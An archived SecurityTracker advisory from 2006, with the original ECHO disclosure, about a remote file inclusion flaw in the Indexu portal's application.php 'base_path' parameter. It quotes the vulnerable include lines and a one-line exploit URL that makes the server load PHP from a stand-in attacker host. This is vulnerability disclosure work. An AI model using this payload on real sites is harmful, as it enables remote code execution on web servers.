SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Indexu Vendors:   nicecoder.com
Indexu Include File Flaw in 'application.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1015607
SecurityTracker URL:  http://securitytracker.com/id/1015607
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Feb 9 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 5.0.0, 5.0.1
Description:   A vulnerability was reported in Indexu. A remote user can execute arbitrary code on the target system.

The 'application.php' script does not properly validate user-supplied input in the 'base_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/[path]/application.php?base_path=http://[attacker]/evil?

The original advisory is available at:

http://echo.or.id/adv/adv27-K-159-2006.txt

M.Hasran Addahroni reported this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.nicecoder.com/idx_main.php (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [ECHO_ADV_27$2006] Indexu <= 5.0.1 Remote File Inclusion

____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

					.OR.ID
ECHO_ADV_27$2006

---------------------------------------------------------------------------
[ECHO_ADV_27$2006] Indexu <= 5.0.1 Remote File Inclusion
---------------------------------------------------------------------------

Author       : M.Hasran Addahroni
Date         : February, 9th 2006
Location     : Indonesia, Bali
Web          : http://echo.or.id/adv/adv27-K-159-2006.txt
Critical Lvl : Dangerous
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Indexu

Application : indexu 
version     : 5.0.0 5.0.1
URL         : http://www.nicecoder.com/
Description :

INDEXU is a portal solution software that allows you to build powerful indexing websites such as yahoo.com, google.com, and dmoz.org
 with ease. It's ability to allow you and your members to easily add, organize, and manage your links makes INDEXU the first choice
 of all webmasters. 

---------------------------------------------------------------------------

Proof of Concept:
~~~~~~~~~~~~~~~~

in application.php code script i found include fopen url
vulnerability that not sanitized.an attacker can exploit this vulnerability with a simple php injection script.Here is the code of
 application.php

---------------application.php--------------------------------
 ...
include($base_path."lang/english.php");   // full path
include($base_path."pagination.class.php");   // full path

...
------------------------------------------------------------------

Exploit:
~~~~~~~~

http://www.target.com/[path]/application.php?base_path=http://attacker.com/evil?

Solution:
~~~~~~~~~

sanitize the script code in application.php to protect this vulerability

Notification:
~~~~~~~~~~~~

 vendor was contact

---------------------------------------------------------------------------
Shoutz:
~~~~~~~

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa
~ newbie_hacker@yahoogroups.com 
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC